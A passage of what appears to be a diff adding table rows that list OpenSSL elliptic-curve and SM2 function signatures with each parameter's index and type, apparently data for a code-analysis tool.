EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates_GF2m | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates_GFp | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates_GFp | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates_GFp | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates_GFp | 3 | int | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | EC_POINT_set_compressed_coordinates_GFp | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | ossl_ec_GFp_simple_set_compressed_coordinates | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | ossl_ec_GFp_simple_set_compressed_coordinates | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | ossl_ec_GFp_simple_set_compressed_coordinates | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | ossl_ec_GFp_simple_set_compressed_coordinates | 3 | int | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,int,BN_CTX *) | | ossl_ec_GFp_simple_set_compressed_coordinates | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | EC_POINTs_mul | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | EC_POINTs_mul | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | EC_POINTs_mul | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | EC_POINTs_mul | 3 | size_t | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | EC_POINTs_mul | 4 | const EC_POINT *[] | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | EC_POINTs_mul | 5 | const BIGNUM *[] | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | EC_POINTs_mul | 6 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | ossl_ec_wNAF_mul | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | ossl_ec_wNAF_mul | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | ossl_ec_wNAF_mul | 2 | const BIGNUM * | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | ossl_ec_wNAF_mul | 3 | size_t | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | ossl_ec_wNAF_mul | 4 | const EC_POINT *[] | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | ossl_ec_wNAF_mul | 5 | const BIGNUM *[] | +| (const EC_GROUP *,EC_POINT *,const BIGNUM *,size_t,const EC_POINT *[],const BIGNUM *[],BN_CTX *) | | ossl_ec_wNAF_mul | 6 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_dbl | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_dbl | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_dbl | 2 | const EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_dbl | 3 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_add | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_add | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_add | 2 | const EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_add | 3 | const EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_add | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | EC_POINT_oct2point | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | EC_POINT_oct2point | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | EC_POINT_oct2point | 2 | const unsigned char * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | EC_POINT_oct2point | 3 | size_t | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | EC_POINT_oct2point | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_oct2point | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_oct2point | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_oct2point | 2 | const unsigned char * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_oct2point | 3 | size_t | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_oct2point | 4 | BN_CTX * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_oct2point | 0 | const EC_GROUP * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_oct2point | 1 | EC_POINT * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_oct2point | 2 | const unsigned char * | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_oct2point | 3 | size_t | +| (const EC_GROUP *,EC_POINT *,const unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_oct2point | 4 | BN_CTX * | +| (const EC_GROUP *,OSSL_LIB_CTX *,const char *,BN_CTX *) | | EC_GROUP_to_params | 0 | const EC_GROUP * | +| (const EC_GROUP *,OSSL_LIB_CTX *,const char *,BN_CTX *) | | EC_GROUP_to_params | 1 | OSSL_LIB_CTX * | +| (const EC_GROUP *,OSSL_LIB_CTX *,const char *,BN_CTX *) | | EC_GROUP_to_params | 2 | const char * | +| (const EC_GROUP *,OSSL_LIB_CTX *,const char *,BN_CTX *) | | EC_GROUP_to_params | 3 | BN_CTX * | +| (const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **) | | ossl_ec_group_todata | 0 | const EC_GROUP * | +| (const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **) | | ossl_ec_group_todata | 1 | OSSL_PARAM_BLD * | +| (const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **) | | ossl_ec_group_todata | 2 | OSSL_PARAM[] | +| (const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **) | | ossl_ec_group_todata | 3 | OSSL_LIB_CTX * | +| (const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **) | | ossl_ec_group_todata | 4 | const char * | +| (const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **) | | ossl_ec_group_todata | 5 | BN_CTX * | +| (const EC_GROUP *,OSSL_PARAM_BLD *,OSSL_PARAM[],OSSL_LIB_CTX *,const char *,BN_CTX *,unsigned char **) | | ossl_ec_group_todata | 6 | unsigned char ** | +| (const EC_GROUP *,const BIGNUM *,EC_POINT *,BN_CTX *) | | EC_POINT_bn2point | 0 | const EC_GROUP * | +| (const EC_GROUP *,const BIGNUM *,EC_POINT *,BN_CTX *) | | EC_POINT_bn2point | 1 | const BIGNUM * | +| (const EC_GROUP *,const BIGNUM *,EC_POINT *,BN_CTX *) | | EC_POINT_bn2point | 2 | EC_POINT * | +| (const EC_GROUP *,const BIGNUM *,EC_POINT *,BN_CTX *) | | EC_POINT_bn2point | 3 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | EC_POINT_get_Jprojective_coordinates_GFp | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | EC_POINT_get_Jprojective_coordinates_GFp | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | EC_POINT_get_Jprojective_coordinates_GFp | 2 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | EC_POINT_get_Jprojective_coordinates_GFp | 3 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | EC_POINT_get_Jprojective_coordinates_GFp | 4 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | EC_POINT_get_Jprojective_coordinates_GFp | 5 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_get_Jprojective_coordinates_GFp | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_get_Jprojective_coordinates_GFp | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_get_Jprojective_coordinates_GFp | 2 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_get_Jprojective_coordinates_GFp | 3 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_get_Jprojective_coordinates_GFp | 4 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_get_Jprojective_coordinates_GFp | 5 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_point_get_affine_coordinates | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_point_get_affine_coordinates | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_point_get_affine_coordinates | 2 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_point_get_affine_coordinates | 3 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GF2m_simple_point_get_affine_coordinates | 4 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_point_get_affine_coordinates | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_point_get_affine_coordinates | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_point_get_affine_coordinates | 2 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_point_get_affine_coordinates | 3 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,BIGNUM *,BIGNUM *,BN_CTX *) | | ossl_ec_GFp_simple_point_get_affine_coordinates | 4 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_is_on_curve | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_is_on_curve | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_is_on_curve | 2 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_cmp | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_cmp | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_cmp | 2 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,const EC_POINT *,BN_CTX *) | | ossl_ec_GFp_simple_cmp | 3 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BIGNUM *,BN_CTX *) | | EC_POINT_point2bn | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BIGNUM *,BN_CTX *) | | EC_POINT_point2bn | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BIGNUM *,BN_CTX *) | | EC_POINT_point2bn | 2 | point_conversion_form_t | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BIGNUM *,BN_CTX *) | | EC_POINT_point2bn | 3 | BIGNUM * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BIGNUM *,BN_CTX *) | | EC_POINT_point2bn | 4 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BN_CTX *) | | EC_POINT_point2hex | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BN_CTX *) | | EC_POINT_point2hex | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BN_CTX *) | | EC_POINT_point2hex | 2 | point_conversion_form_t | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,BN_CTX *) | | EC_POINT_point2hex | 3 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char **,BN_CTX *) | | EC_POINT_point2buf | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char **,BN_CTX *) | | EC_POINT_point2buf | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char **,BN_CTX *) | | EC_POINT_point2buf | 2 | point_conversion_form_t | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char **,BN_CTX *) | | EC_POINT_point2buf | 3 | unsigned char ** | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char **,BN_CTX *) | | EC_POINT_point2buf | 4 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | EC_POINT_point2oct | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | EC_POINT_point2oct | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | EC_POINT_point2oct | 2 | point_conversion_form_t | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | EC_POINT_point2oct | 3 | unsigned char * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | EC_POINT_point2oct | 4 | size_t | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | EC_POINT_point2oct | 5 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_point2oct | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_point2oct | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_point2oct | 2 | point_conversion_form_t | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_point2oct | 3 | unsigned char * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_point2oct | 4 | size_t | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GF2m_simple_point2oct | 5 | BN_CTX * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_point2oct | 0 | const EC_GROUP * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_point2oct | 1 | const EC_POINT * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_point2oct | 2 | point_conversion_form_t | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_point2oct | 3 | unsigned char * | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_point2oct | 4 | size_t | +| (const EC_GROUP *,const EC_POINT *,point_conversion_form_t,unsigned char *,size_t,BN_CTX *) | | ossl_ec_GFp_simple_point2oct | 5 | BN_CTX * | +| (const EC_GROUP *,const char *,EC_POINT *,BN_CTX *) | | EC_POINT_hex2point | 0 | const EC_GROUP * | +| (const EC_GROUP *,const char *,EC_POINT *,BN_CTX *) | | EC_POINT_hex2point | 1 | const char * | +| (const EC_GROUP *,const char *,EC_POINT *,BN_CTX *) | | EC_POINT_hex2point | 2 | EC_POINT * | +| (const EC_GROUP *,const char *,EC_POINT *,BN_CTX *) | | EC_POINT_hex2point | 3 | BN_CTX * | +| (const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *) | | EC_POINTs_make_affine | 0 | const EC_GROUP * | +| (const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *) | | EC_POINTs_make_affine | 1 | size_t | +| (const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *) | | EC_POINTs_make_affine | 2 | EC_POINT *[] | +| (const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *) | | EC_POINTs_make_affine | 3 | BN_CTX * | +| (const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *) | | ossl_ec_GFp_simple_points_make_affine | 0 | const EC_GROUP * | +| (const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *) | | ossl_ec_GFp_simple_points_make_affine | 1 | size_t | +| (const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *) | | ossl_ec_GFp_simple_points_make_affine | 2 | EC_POINT *[] | +| (const EC_GROUP *,size_t,EC_POINT *[],BN_CTX *) | | ossl_ec_GFp_simple_points_make_affine | 3 | BN_CTX * | +| (const EC_GROUP *,unsigned char **) | | i2d_ECPKParameters | 0 | const EC_GROUP * | +| (const EC_GROUP *,unsigned char **) | | i2d_ECPKParameters | 1 | unsigned char ** | +| (const EC_GROUP *,unsigned int *) | | EC_GROUP_get_trinomial_basis | 0 | const EC_GROUP * | +| (const EC_GROUP *,unsigned int *) | | EC_GROUP_get_trinomial_basis | 1 | unsigned int * | +| (const EC_GROUP *,unsigned int *,unsigned int *,unsigned int *) | | EC_GROUP_get_pentanomial_basis | 0 | const EC_GROUP * | +| (const EC_GROUP *,unsigned int *,unsigned int *,unsigned int *) | | EC_GROUP_get_pentanomial_basis | 1 | unsigned int * | +| (const EC_GROUP *,unsigned int *,unsigned int *,unsigned int *) | | EC_GROUP_get_pentanomial_basis | 2 | unsigned int * | +| (const EC_GROUP *,unsigned int *,unsigned int *,unsigned int *) | | EC_GROUP_get_pentanomial_basis | 3 | unsigned int * | +| (const EC_KEY *) | | EC_KEY_decoded_from_explicit_params | 0 | const EC_KEY * | +| (const EC_KEY *) | | EC_KEY_dup | 0 | const EC_KEY * | +| (const EC_KEY *) | | EC_KEY_get0_engine | 0 | const EC_KEY * | +| (const EC_KEY *) | | EC_KEY_get0_group | 0 | const EC_KEY * | +| (const EC_KEY *) | | EC_KEY_get0_private_key | 0 | const EC_KEY * | +| (const EC_KEY *) | | EC_KEY_get0_public_key | 0 | const EC_KEY * | +| (const EC_KEY *) | | EC_KEY_get_conv_form | 0 | const EC_KEY * | +| (const EC_KEY *) | | EC_KEY_get_enc_flags | 0 | const EC_KEY * | +| (const EC_KEY *) | | EC_KEY_get_flags | 0 | const EC_KEY * | +| (const EC_KEY *) | | EC_KEY_get_method | 0 | const EC_KEY * | +| (const EC_KEY *) | | ossl_ec_key_get0_propq | 0 | const EC_KEY * | +| (const EC_KEY *) | | ossl_ec_key_get_libctx | 0 | const EC_KEY * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,const size_t,const uint8_t *,size_t) | | ossl_sm2_do_sign | 0 | const EC_KEY * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,const size_t,const uint8_t *,size_t) | | ossl_sm2_do_sign | 1 | const EVP_MD * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,const size_t,const uint8_t *,size_t) | | ossl_sm2_do_sign | 2 | const uint8_t * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,const size_t,const uint8_t *,size_t) | | ossl_sm2_do_sign | 3 | const size_t | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,const size_t,const uint8_t *,size_t) | | ossl_sm2_do_sign | 4 | const uint8_t * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,const size_t,const uint8_t *,size_t) | | ossl_sm2_do_sign | 5 | size_t | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_decrypt | 0 | const EC_KEY * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_decrypt | 1 | const EVP_MD * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_decrypt | 2 | const uint8_t * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_decrypt | 3 | size_t | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_decrypt | 4 | uint8_t * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_decrypt | 5 | size_t * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_encrypt | 0 | const EC_KEY * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_encrypt | 1 | const EVP_MD * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_encrypt | 2 | const uint8_t * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_encrypt | 3 | size_t | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_encrypt | 4 | uint8_t * | +| (const EC_KEY *,const EVP_MD *,const uint8_t *,size_t,uint8_t *,size_t *) | | ossl_sm2_encrypt | 5 | size_t * | +| (const EC_KEY *,const EVP_MD *,size_t,size_t *) | | ossl_sm2_ciphertext_size | 0 | const EC_KEY * | +| (const EC_KEY *,const EVP_MD *,size_t,size_t *) | | ossl_sm2_ciphertext_size | 1 | const EVP_MD * | +| (const EC_KEY *,const EVP_MD *,size_t,size_t *) | | ossl_sm2_ciphertext_size | 2 | size_t | +| (const EC_KEY *,const EVP_MD *,size_t,size_t *) | | ossl_sm2_ciphertext_size | 3 | size_t * | +| (const EC_KEY *,int) | | EC_KEY_get_ex_data | 0 | const EC_KEY * | +| (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | int | +| (const EC_KEY *,int) | | ossl_ec_key_dup | 0 | const EC_KEY * | +| (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | int | +| (const EC_KEY *,point_conversion_form_t,unsigned char **,BN_CTX *) | | EC_KEY_key2buf | 0 | const EC_KEY * | +| (const EC_KEY *,point_conversion_form_t,unsigned char **,BN_CTX *) | | EC_KEY_key2buf | 1 | point_conversion_form_t | +| (const EC_KEY *,point_conversion_form_t,unsigned char **,BN_CTX *) | | EC_KEY_key2buf | 2 | unsigned char ** | +| (const EC_KEY *,point_conversion_form_t,unsigned char **,BN_CTX *) | | EC_KEY_key2buf | 3 | BN_CTX * | +| (const EC_KEY *,unsigned char **) | | i2d_ECParameters | 0 | const EC_KEY * | +| (const EC_KEY *,unsigned char **) | | i2d_ECParameters | 1 | unsigned char ** | +| (const EC_KEY *,unsigned char **) | | i2d_ECPrivateKey | 0 | const EC_KEY * | +| (const EC_KEY *,unsigned char **) | | i2d_ECPrivateKey | 1 | unsigned char ** | +| (const EC_KEY *,unsigned char **) | | i2d_EC_PUBKEY | 0 | const EC_KEY * | +| (const EC_KEY *,unsigned char **) | | i2d_EC_PUBKEY | 1 | unsigned char ** | +| (const EC_KEY *,unsigned char **) | | i2o_ECPublicKey | 0 | const EC_KEY * | +| (const EC_KEY *,unsigned char **) | | i2o_ECPublicKey | 1 | unsigned char ** | +| (const EC_KEY *,unsigned char *,size_t) | | ossl_ec_key_simple_priv2oct | 0 | const EC_KEY * | +| (const EC_KEY *,unsigned char *,size_t) | | ossl_ec_key_simple_priv2oct | 1 | unsigned char * | +| (const EC_KEY *,unsigned char *,size_t) | | ossl_ec_key_simple_priv2oct | 2 | size_t | +| (const EC_KEY_METHOD *) | | EC_KEY_METHOD_new | 0 | const EC_KEY_METHOD * | +| (const EC_KEY_METHOD *,..(**)(..)) | | EC_KEY_METHOD_get_compute_key | 0 | const EC_KEY_METHOD * | +| (const EC_KEY_METHOD *,..(**)(..)) | | EC_KEY_METHOD_get_compute_key | 1 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..)) | | EC_KEY_METHOD_get_keygen | 0 | const EC_KEY_METHOD * | +| (const EC_KEY_METHOD *,..(**)(..)) | | EC_KEY_METHOD_get_keygen | 1 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_verify | 0 | const EC_KEY_METHOD * | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_verify | 1 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_verify | 2 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_sign | 0 | const EC_KEY_METHOD * | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_sign | 1 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_sign | 2 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_sign | 